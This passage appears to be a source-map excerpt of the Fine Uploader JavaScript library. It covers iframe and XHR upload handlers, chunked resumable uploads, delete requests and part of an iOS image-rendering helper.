concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;\n\n    preventRetryResponse = (function() {\n        var response = {};\n\n        response[options.preventRetryParam] = true;\n\n        return response;\n    }());\n\n    upload.initHandler();\n};\n","/*globals qq */\n/*jshint -W117 */\nqq.WindowReceiveMessage = function(o) {\n    \"use strict\";\n\n    var options = {\n            log: function(message, level) {}\n        },\n        callbackWrapperDetachers = {};\n\n    qq.extend(options, o);\n\n    qq.extend(this, {\n        receiveMessage: function(id, callback) {\n            var onMessageCallbackWrapper = function(event) {\n                    callback(event.data);\n                };\n\n            if (window.postMessage) {\n                callbackWrapperDetachers[id] = qq(window).attach(\"message\", onMessageCallbackWrapper);\n            }\n            else {\n                log(\"iframe message passing not supported in this browser!\", \"error\");\n            }\n        },\n\n        stopReceivingMessages: function(id) {\n            if (window.postMessage) {\n                var detacher = callbackWrapperDetachers[id];\n                if (detacher) {\n                    detacher();\n                }\n            }\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common APIs exposed to creators of upload via form/iframe handlers.  This is reused and possibly overridden\n * in some cases by specific form upload handlers.\n *\n * @constructor\n */\nqq.FormUploadHandler = function(spec) {\n    \"use strict\";\n\n    var options = spec.options,\n        handler = this,\n        proxy = spec.proxy,\n        formHandlerInstanceId = qq.getUniqueId(),\n        onloadCallbacks = {},\n        detachLoadEvents = {},\n        postMessageCallbackTimers = {},\n        isCors = options.isCors,\n        inputName = options.inputName,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        corsMessageReceiver = new qq.WindowReceiveMessage({log: log});\n\n    /**\n     * Remove any trace of the file from the handler.\n     *\n     * @param id ID of the associated file\n     */\n    function expungeFile(id) {\n        delete detachLoadEvents[id];\n\n        // If we are dealing with CORS, we might still be waiting for a response from a loaded iframe.\n        // In that case, terminate the timer waiting for a message from the loaded iframe\n        // and stop listening for any more messages coming from this iframe.\n        if (isCors) {\n            clearTimeout(postMessageCallbackTimers[id]);\n            delete postMessageCallbackTimers[id];\n            corsMessageReceiver.stopReceivingMessages(id);\n        }\n\n        var iframe = document.getElementById(handler._getIframeName(id));\n        if (iframe) {\n            // To cancel request set src to something else.  We use src=\"javascript:false;\"\n            // because it doesn't trigger ie6 prompt on https\n            /* jshint scripturl:true */\n            iframe.setAttribute(\"src\", \"javascript:false;\");\n\n            qq(iframe).remove();\n        }\n    }\n\n    /**\n     * @param iframeName `document`-unique Name of the associated iframe\n     * @returns {*} ID of the associated file\n     */\n    function getFileIdForIframeName(iframeName) {\n        return iframeName.split(\"_\")[0];\n    }\n\n    /**\n     * Generates an iframe to be used as a target for upload-related form submits.  This also adds the iframe\n     * to the current `document`.  Note that the iframe is hidden from view.\n     *\n     * @param name Name of the iframe.\n     * @returns {HTMLIFrameElement} The created iframe\n     */\n    function initIframeForUpload(name) {\n        var iframe = qq.toElement(\"<iframe src='javascript:false;' name='\" + name + \"' />\");\n\n        iframe.setAttribute(\"id\", name);\n\n        iframe.style.display = \"none\";\n        document.body.appendChild(iframe);\n\n        return iframe;\n    }\n\n    /**\n     * If we are in CORS mode, we must listen for messages (containing the server response) from the associated\n     * iframe, since we cannot directly parse the content of the iframe due to cross-origin restrictions.\n     *\n     * @param iframe Listen for messages on this iframe.\n     * @param callback Invoke this callback with the message from the iframe.\n     */\n    function registerPostMessageCallback(iframe, callback) {\n        var iframeName = iframe.id,\n            fileId = getFileIdForIframeName(iframeName),\n            uuid = getUuid(fileId);\n\n        onloadCallbacks[uuid] = callback;\n\n        // When the iframe has loaded (after the server responds to an upload request)\n        // declare the attempt a failure if we don't receive a valid message shortly after the response comes in.\n        detachLoadEvents[fileId] = qq(iframe).attach(\"load\", function() {\n            if (handler.getInput(fileId)) {\n                log(\"Received iframe load event for CORS upload request (iframe name \" + iframeName + \")\");\n\n                postMessageCallbackTimers[iframeName] = setTimeout(function() {\n                    var errorMessage = \"No valid message received from loaded iframe for iframe name \" + iframeName;\n                    log(errorMessage, \"error\");\n                    callback({\n                        error: errorMessage\n                    });\n                }, 1000);\n            }\n        });\n\n        // Listen for messages coming from this iframe.  When a message has been received, cancel the timer\n        // that declares the upload a failure if a message is not received within a reasonable amount of time.\n        corsMessageReceiver.receiveMessage(iframeName, function(message) {\n            log(\"Received the following window message: '\" + message + \"'\");\n            var fileId = getFileIdForIframeName(iframeName),\n                response = handler._parseJsonResponse(message),\n                uuid = response.uuid,\n                onloadCallback;\n\n            if (uuid && onloadCallbacks[uuid]) {\n                log(\"Handling response for iframe name \" + iframeName);\n                clearTimeout(postMessageCallbackTimers[iframeName]);\n                delete postMessageCallbackTimers[iframeName];\n\n                handler._detachLoadEvent(iframeName);\n\n                onloadCallback = onloadCallbacks[uuid];\n\n                delete onloadCallbacks[uuid];\n                corsMessageReceiver.stopReceivingMessages(iframeName);\n                onloadCallback(response);\n            }\n            else if (!uuid) {\n                log(\"'\" + message + \"' does not contain a UUID - ignoring.\");\n            }\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, fileInput) {\n                super_.add(id, {input: fileInput});\n\n                fileInput.setAttribute(\"name\", inputName);\n\n                // remove file input from DOM\n                if (fileInput.parentNode) {\n                    qq(fileInput).remove();\n                }\n            },\n\n            expunge: function(id) {\n                expungeFile(id);\n                super_.expunge(id);\n            },\n\n            isValid: function(id) {\n                return super_.isValid(id) &&\n                    handler._getFileState(id).input !== undefined;\n            }\n        };\n    });\n\n    qq.extend(this, {\n        getInput: function(id) {\n            return handler._getFileState(id).input;\n        },\n\n        /**\n         * This function either delegates to a more specific message handler if CORS is involved,\n         * or simply registers a callback when the iframe has been loaded that invokes the passed callback\n         * after determining if the content of the iframe is accessible.\n         *\n         * @param iframe Associated iframe\n         * @param callback Callback to invoke after we have determined if the iframe content is accessible.\n         */\n        _attachLoadEvent: function(iframe, callback) {\n            /*jslint eqeq: true*/\n            var responseDescriptor;\n\n            if (isCors) {\n                registerPostMessageCallback(iframe, callback);\n            }\n            else {\n                detachLoadEvents[iframe.id] = qq(iframe).attach(\"load\", function() {\n                    log(\"Received response for \" + iframe.id);\n\n                    // when we remove iframe from dom\n                    // the request stops, but in IE load\n                    // event fires\n                    if (!iframe.parentNode) {\n                        return;\n                    }\n\n                    try {\n                        // fixing Opera 10.53\n                        if (iframe.contentDocument &&\n                            iframe.contentDocument.body &&\n                            iframe.contentDocument.body.innerHTML == \"false\") {\n                            // In Opera event is fired second time\n                            // when body.innerHTML changed from false\n                            // to server response approx. after 1 sec\n                            // when we upload file with iframe\n                            return;\n                        }\n                    }\n                    catch (error) {\n                        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n                        log(\"Error when attempting to access iframe during handling of upload response (\" + error.message + \")\", \"error\");\n                        responseDescriptor = {success: false};\n                    }\n\n                    callback(responseDescriptor);\n                });\n            }\n        },\n\n        /**\n         * Creates an iframe with a specific document-unique name.\n         *\n         * @param id ID of the associated file\n         * @returns {HTMLIFrameElement}\n         */\n        _createIframe: function(id) {\n            var iframeName = handler._getIframeName(id);\n\n            return initIframeForUpload(iframeName);\n        },\n\n        /**\n         * Called when we are no longer interested in being notified when an iframe has loaded.\n         *\n         * @param id Associated file ID\n         */\n        _detachLoadEvent: function(id) {\n            if (detachLoadEvents[id] !== undefined) {\n                detachLoadEvents[id]();\n                delete detachLoadEvents[id];\n            }\n        },\n\n        /**\n         * @param fileId ID of the associated file\n         * @returns {string} The `document`-unique name of the iframe\n         */\n        _getIframeName: function(fileId) {\n            return fileId + \"_\" + formHandlerInstanceId;\n        },\n\n        /**\n         * Generates a form element and appends it to the `document`.  When the form is submitted, a specific iframe is targeted.\n         * The name of the iframe is passed in as a property of the spec parameter, and must be unique in the `document`.  Note\n         * that the form is hidden from view.\n         *\n         * @param spec An object containing various properties to be used when constructing the form.  Required properties are\n         * currently: `method`, `endpoint`, `params`, `paramsInBody`, and `targetName`.\n         * @returns {HTMLFormElement} The created form\n         */\n        _initFormForUpload: function(spec) {\n            var method = spec.method,\n                endpoint = spec.endpoint,\n                params = spec.params,\n                paramsInBody = spec.paramsInBody,\n                targetName = spec.targetName,\n                form = qq.toElement(\"<form method='\" + method + \"' enctype='multipart/form-data'></form>\"),\n                url = endpoint;\n\n            if (paramsInBody) {\n                qq.obj2Inputs(params, form);\n            }\n            else {\n                url = qq.obj2url(params, endpoint);\n            }\n\n            form.setAttribute(\"action\", url);\n            form.setAttribute(\"target\", targetName);\n            form.style.display = \"none\";\n            document.body.appendChild(form);\n\n            return form;\n        },\n\n        /**\n         * @param innerHtmlOrMessage JSON message\n         * @returns {*} The parsed response, or an empty object if the response could not be parsed\n         */\n        _parseJsonResponse: function(innerHtmlOrMessage) {\n            var response = {};\n\n            try {\n                response = qq.parseJson(innerHtmlOrMessage);\n            }\n            catch (error) {\n                log(\"Error when attempting to parse iframe upload response (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common API exposed to creators of XHR handlers.  This is reused and possibly overriding in some cases by specific\n * XHR upload handlers.\n *\n * @constructor\n */\nqq.XhrUploadHandler = function(spec) {\n    \"use strict\";\n\n    var handler = this,\n        namespace = spec.options.namespace,\n        proxy = spec.proxy,\n        chunking = spec.options.chunking,\n        resume = spec.options.resume,\n        chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking,\n        resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        getEndpoint = proxy.getEndpoint,\n        getDataByUuid = proxy.getDataByUuid,\n        onUuidChanged = proxy.onUuidChanged,\n        onProgress = proxy.onProgress,\n        log = proxy.log;\n\n    function abort(id) {\n        qq.each(handler._getXhrs(id), function(xhrId, xhr) {\n            var ajaxRequester = handler._getAjaxRequester(id, xhrId);\n\n            xhr.onreadystatechange = null;\n            xhr.upload.onprogress = null;\n            xhr.abort();\n            ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, blobOrProxy) {\n                if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {\n                    super_.add(id, {file: blobOrProxy});\n                }\n                else if (blobOrProxy instanceof qq.BlobProxy) {\n                    super_.add(id, {proxy: blobOrProxy});\n                }\n                else {\n                    throw new Error(\"Passed obj is not a File, Blob, or proxy\");\n                }\n\n                handler._initTempState(id);\n                resumeEnabled && handler._maybePrepareForResume(id);\n            },\n\n            expunge: function(id) {\n                abort(id);\n                handler._maybeDeletePersistedChunkData(id);\n                handler._clearXhrs(id);\n                super_.expunge(id);\n            }\n        };\n    });\n\n    qq.extend(this, {\n        // Clear the cached chunk `Blob` after we are done with it, just in case the `Blob` bytes are stored in memory.\n        clearCachedChunk: function(id, chunkIdx) {\n            delete handler._getFileState(id).temp.cachedChunks[chunkIdx];\n        },\n\n        clearXhr: function(id, chunkIdx) {\n            var tempState = handler._getFileState(id).temp;\n\n            if (tempState.xhrs) {\n                delete tempState.xhrs[chunkIdx];\n            }\n            if (tempState.ajaxRequesters) {\n                delete tempState.ajaxRequesters[chunkIdx];\n            }\n        },\n\n        // Called when all chunks have been successfully uploaded.  Expected promissory return type.\n        // This defines the default behavior if nothing further is required when all chunks have been uploaded.\n        finalizeChunks: function(id, responseParser) {\n            var lastChunkIdx = handler._getTotalChunks(id) - 1,\n                xhr = handler._getXhr(id, lastChunkIdx);\n\n            if (responseParser) {\n                return new qq.Promise().success(responseParser(xhr), xhr);\n            }\n\n            return new qq.Promise().success({}, xhr);\n        },\n\n        getFile: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).file;\n        },\n\n        getProxy: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).proxy;\n        },\n\n        /**\n         * @returns {Array} Array of objects containing properties useful to integrators\n         * when it is important to determine which files are potentially resumable.\n         */\n        getResumableFilesData: function() {\n            var resumableFilesData = [];\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress,  uploadData.chunking.remaining);\n\n                var data = {\n                    name: uploadData.name,\n                    remaining: uploadData.chunking.remaining,\n                    size: uploadData.size,\n                    uuid: uploadData.uuid\n                };\n\n                if (uploadData.key) {\n                    data.key = uploadData.key;\n                }\n\n                resumableFilesData.push(data);\n            });\n\n            return resumableFilesData;\n        },\n\n        isResumable: function(id) {\n            return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;\n        },\n\n        moveInProgressToRemaining: function(id, optInProgress, optRemaining) {\n            var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress,\n                remaining = optRemaining || handler._getFileState(id).chunking.remaining;\n\n            if (inProgress) {\n                log(qq.format(\"Moving these chunks from in-progress {}, to remaining.\", JSON.stringify(inProgress)));\n                inProgress.reverse();\n                qq.each(inProgress, function(idx, chunkIdx) {\n                    remaining.unshift(chunkIdx);\n                });\n                inProgress.length = 0;\n            }\n        },\n\n        pause: function(id) {\n            if (handler.isValid(id)) {\n                log(qq.format(\"Aborting XHR upload for {} '{}' due to pause instruction.\", id, getName(id)));\n                handler._getFileState(id).paused = true;\n                abort(id);\n                return true;\n            }\n        },\n\n        reevaluateChunking: function(id) {\n            if (chunking && handler.isValid(id)) {\n                var state = handler._getFileState(id),\n                    totalChunks,\n                    i;\n\n                delete state.chunking;\n\n                state.chunking = {};\n                totalChunks = handler._getTotalChunks(id);\n                if (totalChunks > 1 || chunking.mandatory) {\n                    state.chunking.enabled = true;\n                    state.chunking.parts = totalChunks;\n                    state.chunking.remaining = [];\n\n                    for (i = 0; i < totalChunks; i++) {\n                        state.chunking.remaining.push(i);\n                    }\n\n                    handler._initTempState(id);\n                }\n                else {\n                    state.chunking.enabled = false;\n                }\n            }\n        },\n\n        updateBlob: function(id, newBlob) {\n            if (handler.isValid(id)) {\n                handler._getFileState(id).file = newBlob;\n            }\n        },\n\n        _clearXhrs: function(id) {\n            var tempState = handler._getFileState(id).temp;\n\n            qq.each(tempState.ajaxRequesters, function(chunkId) {\n                delete tempState.ajaxRequesters[chunkId];\n            });\n\n            qq.each(tempState.xhrs, function(chunkId) {\n                delete tempState.xhrs[chunkId];\n            });\n        },\n\n        /**\n         * Creates an XHR instance for this file and stores it in the fileState.\n         *\n         * @param id File ID\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @returns {XMLHttpRequest}\n         */\n        _createXhr: function(id, optChunkIdx) {\n            return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());\n        },\n\n        _getAjaxRequester: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];\n        },\n\n        _getChunkData: function(id, chunkIndex) {\n            var chunkSize = chunking.partSize,\n                fileSize = getSize(id),\n                fileOrBlob = handler.getFile(id),\n                startBytes = chunkSize * chunkIndex,\n                endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize,\n                totalChunks = handler._getTotalChunks(id),\n                cachedChunks = this._getFileState(id).temp.cachedChunks,\n\n            // To work around a Webkit GC bug, we must keep each chunk `Blob` in scope until we are done with it.\n            // See https://github.com/Widen/fine-uploader/issues/937#issuecomment-41418760\n                blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);\n\n            cachedChunks[chunkIndex] = blob;\n\n            return {\n                part: chunkIndex,\n                start: startBytes,\n                end: endBytes,\n                count: totalChunks,\n                blob: blob,\n                size: endBytes - startBytes\n            };\n        },\n\n        _getChunkDataForCallback: function(chunkData) {\n            return {\n                partIndex: chunkData.part,\n                startByte: chunkData.start + 1,\n                endByte: chunkData.end,\n                totalParts: chunkData.count\n            };\n        },\n\n        /**\n         * @param id File ID\n         * @returns {string} Identifier for this item that may appear in the browser's local storage\n         */\n        _getLocalStorageId: function(id) {\n            var formatVersion = \"5.0\",\n                name = getName(id),\n                size = getSize(id),\n                chunkSize = chunking.partSize,\n                endpoint = getEndpoint(id);\n\n            return qq.format(\"qq{}resume{}-{}-{}-{}-{}\", namespace, formatVersion, name, size, chunkSize, endpoint);\n        },\n\n        _getMimeType: function(id) {\n            return handler.getFile(id).type;\n        },\n\n        _getPersistableData: function(id) {\n            return handler._getFileState(id).chunking;\n        },\n\n        /**\n         * @param id ID of the associated file\n         * @returns {number} Number of parts this file can be divided into, or undefined if chunking is not supported in this UA\n         */\n        _getTotalChunks: function(id) {\n            if (chunking) {\n                var fileSize = getSize(id),\n                    chunkSize = chunking.partSize;\n\n                return Math.ceil(fileSize / chunkSize);\n            }\n        },\n\n        _getXhr: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.xhrs[chunkIdx];\n        },\n\n        _getXhrs: function(id) {\n            return handler._getFileState(id).temp.xhrs;\n        },\n\n        // Iterates through all XHR handler-created resume records (in local storage),\n        // invoking the passed callback and passing in the key and value of each local storage record.\n        _iterateResumeRecords: function(callback) {\n            if (resumeEnabled) {\n                qq.each(localStorage, function(key, item) {\n                    if (key.indexOf(qq.format(\"qq{}resume\", namespace)) === 0) {\n                        var uploadData = JSON.parse(item);\n                        callback(key, uploadData);\n                    }\n                });\n            }\n        },\n\n        _initTempState: function(id) {\n            handler._getFileState(id).temp = {\n                ajaxRequesters: {},\n                chunkProgress: {},\n                xhrs: {},\n                cachedChunks: {}\n            };\n        },\n\n        _markNotResumable: function(id) {\n            handler._getFileState(id).notResumable = true;\n        },\n\n        // Removes a chunked upload record from local storage, if possible.\n        // Returns true if the item was removed, false otherwise.\n        _maybeDeletePersistedChunkData: function(id) {\n            var localStorageId;\n\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                if (localStorageId && localStorage.getItem(localStorageId)) {\n                    localStorage.removeItem(localStorageId);\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        // If this is a resumable upload, grab the relevant data from storage and items in memory that track this upload\n        // so we can pick up from where we left off.\n        _maybePrepareForResume: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // Resume is enabled and possible and this is the first time we've tried to upload this file in this session,\n            // so prepare for a resume attempt.\n            if (resumeEnabled && state.key === undefined) {\n                localStorageId = handler._getLocalStorageId(id);\n                persistedData = localStorage.getItem(localStorageId);\n\n                // If we found this item in local storage, maybe we should resume it.\n                if (persistedData) {\n                    persistedData = JSON.parse(persistedData);\n\n                    // If we found a resume record but we have already handled this file in this session,\n                    // don't try to resume it & ensure we don't persist future check data\n                    if (getDataByUuid(persistedData.uuid)) {\n                        handler._markNotResumable(id);\n                    }\n                    else {\n                        log(qq.format(\"Identified file with ID {} and name of {} as resumable.\", id, getName(id)));\n\n                        onUuidChanged(id, persistedData.uuid);\n\n                        state.key = persistedData.key;\n                        state.chunking = persistedData.chunking;\n                        state.loaded = persistedData.loaded;\n                        state.attemptingResume = true;\n\n                        handler.moveInProgressToRemaining(id);\n                    }\n                }\n            }\n        },\n\n        // Persist any data needed to resume this upload in a new session.\n        _maybePersistChunkedState: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // If local storage isn't supported by the browser, or if resume isn't enabled or possible, give up\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                persistedData = {\n                    name: getName(id),\n                    size: getSize(id),\n                    uuid: getUuid(id),\n                    key: state.key,\n                    chunking: state.chunking,\n                    loaded: state.loaded,\n                    lastUpdated: Date.now()\n                };\n\n                try {\n                    localStorage.setItem(localStorageId, JSON.stringify(persistedData));\n                }\n                catch (error) {\n                    log(qq.format(\"Unable to save resume data for '{}' due to error: '{}'.\", id, error.toString()), \"warn\");\n                }\n            }\n        },\n\n        _registerProgressHandler: function(id, chunkIdx, chunkSize) {\n            var xhr = handler._getXhr(id, chunkIdx),\n                name = getName(id),\n                progressCalculator = {\n                    simple: function(loaded, total) {\n                        var fileSize = getSize(id);\n\n                        if (loaded === total) {\n                            onProgress(id, name, fileSize, fileSize);\n                        }\n                        else {\n                            onProgress(id, name, (loaded >= fileSize ? fileSize - 1 : loaded), fileSize);\n                        }\n                    },\n\n                    chunked: function(loaded, total) {\n                        var chunkProgress = handler._getFileState(id).temp.chunkProgress,\n                            totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded,\n                            loadedForRequest = loaded,\n                            totalForRequest = total,\n                            totalFileSize = getSize(id),\n                            estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize),\n                            totalLoadedForFile = totalSuccessfullyLoadedForFile;\n\n                        chunkProgress[chunkIdx] = estActualChunkLoaded;\n\n                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {\n                            totalLoadedForFile += chunkLoaded;\n                        });\n\n                        onProgress(id, name, totalLoadedForFile, totalFileSize);\n                    }\n                };\n\n            xhr.upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    /* jshint eqnull: true */\n                    var type = chunkSize == null ? \"simple\" : \"chunked\";\n                    progressCalculator[type](e.loaded, e.total);\n                }\n            };\n        },\n\n        /**\n         * Registers an XHR transport instance created elsewhere.\n         *\n         * @param id ID of the associated file\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @param xhr XMLHttpRequest object instance\n         * @param optAjaxRequester `qq.AjaxRequester` associated with this request, if applicable.\n         * @returns {XMLHttpRequest}\n         */\n        _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {\n            var xhrsId = optChunkIdx == null ? -1 : optChunkIdx,\n                tempState = handler._getFileState(id).temp;\n\n            tempState.xhrs = tempState.xhrs || {};\n            tempState.ajaxRequesters = tempState.ajaxRequesters || {};\n\n            tempState.xhrs[xhrsId] = xhr;\n\n            if (optAjaxRequester) {\n                tempState.ajaxRequesters[xhrsId] = optAjaxRequester;\n            }\n\n            return xhr;\n        },\n\n        // Deletes any local storage records that are \"expired\".\n        _removeExpiredChunkingRecords: function() {\n            var expirationDays = resume.recordsExpireIn;\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                var expirationDate = new Date(uploadData.lastUpdated);\n\n                // transform updated date into expiration date\n                expirationDate.setDate(expirationDate.getDate() + expirationDays);\n\n                if (expirationDate.getTime() <= Date.now()) {\n                    log(\"Removing expired resume record with key \" + key);\n                    localStorage.removeItem(key);\n                }\n            });\n        },\n\n        /**\n         * Determine if the associated file should be chunked.\n         *\n         * @param id ID of the associated file\n         * @returns {*} true if chunking is enabled, possible, and the file can be split into more than 1 part\n         */\n        _shouldChunkThisFile: function(id) {\n            var state = handler._getFileState(id);\n\n            if (!state.chunking) {\n                handler.reevaluateChunking(id);\n            }\n\n            return state.chunking.enabled;\n        }\n    });\n};\n","/*globals qq, XMLHttpRequest*/\nqq.DeleteFileAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            method: \"DELETE\",\n            uuidParamName: \"qquuid\",\n            endpointStore: {},\n            maxConnections: 3,\n            customHeaders: function(id) {return {};},\n            paramsStore: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onDelete: function(id) {},\n            onDeleteComplete: function(id, xhrOrXdr, isError) {}\n        };\n\n    qq.extend(options, o);\n\n    function getMandatedParams() {\n        if (options.method.toUpperCase() === \"POST\") {\n            return {\n                _method: \"DELETE\"\n            };\n        }\n\n        return {};\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"POST\", \"DELETE\"],\n        method: options.method,\n        endpointStore: options.endpointStore,\n        paramsStore: options.paramsStore,\n        mandatedParams: getMandatedParams(),\n        maxConnections: options.maxConnections,\n        customHeaders: function(id) {\n            return options.customHeaders.get(id);\n        },\n        log: options.log,\n        onSend: options.onDelete,\n        onComplete: options.onDeleteComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        sendDelete: function(id, uuid, additionalMandatedParams) {\n            var additionalOptions = additionalMandatedParams || {};\n\n            options.log(\"Submitting delete file request for \" + id);\n\n            if (options.method === \"DELETE\") {\n                requester.initTransport(id)\n                    .withPath(uuid)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n            else {\n                additionalOptions[options.uuidParamName] = uuid;\n                requester.initTransport(id)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n        }\n    });\n};\n","/*global qq, define */\n/*jshint strict:false,bitwise:false,nonew:false,asi:true,-W064,-W116,-W089 */\n/**\n * Mega pixel image rendering library for iOS6+\n *\n * Fixes iOS6+'s image file rendering issue for large size image (over mega-pixel),\n * which causes unexpected subsampling when drawing it in canvas.\n * By using this library, you can safely render the image with proper stretching.\n *\n * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>\n * Released under the MIT license\n *\n * Heavily modified by Widen for Fine Uploader\n */\n(function() {\n\n    /**\n     * Detect subsampling in loaded image.\n     * In iOS, larger images than 2M pixels may be subsampled in rendering.\n     */\n    function detectSubsampling(img) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            canvas = document.createElement(\"canvas\"),\n            ctx;\n\n        if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image\n            canvas.width = canvas.height = 1;\n            ctx = canvas.getContext(\"2d\");\n            ctx.drawImage(img, -iw + 1, 0);\n            // subsampled image becomes half smaller in rendering size.\n            // check alpha channel value to confirm image is covering edge pixel or not.\n            // if alpha value is 0 image is not covering, hence subsampled.\n            return ctx.getImageData(0, 0, 1, 1).data[3] === 0;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * Detecting vertical squash in loaded image.\n     * Fixes a bug which squash image vertically while drawing into canvas for some images.\n     */\n    function detectVerticalSquash(img, iw, ih) {\n        var canvas = document.createElement(\"canvas\"),\n            sy = 0,\n            ey = ih,\n            py = ih,\n            ctx, data, alpha, ratio;\n\n        canvas.width = 1;\n        canvas.height = ih;\n        ctx = canvas.getContext(\"2d\");\n        ctx.drawImage(img, 0, 0);\n        data = ctx.getImageData(0, 0, 1, ih).data;\n\n        // search image edge pixel position in case it is squashed vertically.\n        while (py > sy) {\n            alpha = data[(py - 1) * 4 + 3];\n            if (alpha === 0) {\n                ey = py;\n            } else {\n                sy = py;\n            }\n            py = (ey + sy) >> 1;\n        }\n\n        ratio = (py / ih);\n        return (ratio === 0) ? 1 : ratio;\n    }\n\n    /**\n     * Rendering image element (with resizing) and get its data URL\n     */\n    function renderImageToDataURL(img, blob, options, doSquash) {\n        var canvas = document.createElement(\"canvas\"),\n            mime = options.mime || \"image/jpeg\",\n            promise = new qq.Promise();\n\n        renderImageToCanvas(img, blob, canvas, options, doSquash)\n            .then(function() {\n                promise.success(\n                    canvas.toDataURL(mime, options.quality || 0.8)\n                );\n            });\n\n        return promise;\n    }\n\n    function maybeCalculateDownsampledDimensions(spec) {\n        var maxPixels = 5241000; //iOS specific value\n\n        if (!qq.ios()) {\n            throw new qq.Error(\"Downsampled dimensions can only be reliably calculated for iOS!\");\n        }\n\n        if (spec.origHeight * spec.origWidth > maxPixels) {\n            return {\n                newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),\n                newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))\n            };\n        }\n    }\n\n    /**\n     * Rendering image element (with resizing) into the canvas element\n     */\n    function renderImageToCanvas(img, blob, canvas, options, doSquash) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            width = options.width,\n            height = options.height,\n            ctx = canvas.getContext(\"2d\"),\n            promise = new qq.Promise(),\n            modifiedDimensions;\n\n        ctx.save();\n\n        if (options.resize) {\n            return renderImageToCanvasWithCustomResizer({\n                blob: blob,\n                canvas: canvas,\n                image: img,\n                imageHeight: ih,\n                imageWidth: iw,\n                orientation: options.orientation,\n                resize: options.resize,\n                targetHeight: height,\n                targetWidth: width\n            });\n        }\n\n        if (!qq.supportedFeatures.unlimitedScaledImageSize) {\n            modifiedDimensions = maybeCalculateDownsampledDimensions({\n                origWidth: width,\n                origHeight: height\n            });\n\n            if (modifiedDimensions) {\n                qq.log(qq.format(\"Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h\",\n                    width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight),\n                    \"warn\");\n\n                width = modifiedDimensions.newWidth;\n                height = modifiedDimensions.newHeight;\n            }\n        }\n\n        transformCoordinate(canvas, width, height, options.orientation);\n\n        // Fine Uploader specific: Save some CPU cycles if not using iOS\n        // Assumption: This logic is only needed to overcome iOS image sampling issues\n        if (qq.ios()) {\n            (function() {\n                if (detectSubsampling(img)) {\n                    iw /= 2;\n                    ih /= 2;\n                }\n\n                var d = 1024, // size of tiling canvas\n                    tmpCanvas = document.createElement(\"canvas\"),\n                    vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1,\n                    dw = Math.ceil(d * width / iw),\n                    dh = Math.ceil(d * height / ih / vertSquashRatio),\n                    sy = 0,\n                    dy = 0,\n                    tmpCtx, sx, dx;\n\n                tmpCanvas.width = tmpCanvas.height = d;\n                tmpCtx = tmpCanvas.getContext(\"2d\");\n\n                while (sy < ih) {\n                    sx = 0;\n                    dx = 0;\n                    while (sx < iw) {\n                        tmpCtx.clearRect(0, 0, d, d);\n                        tmpCtx.drawImage(img, -sx, -sy);\n                        ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);\n                        sx += d;\n                        dx += dw;\n                    }\n                    sy += d;\n                    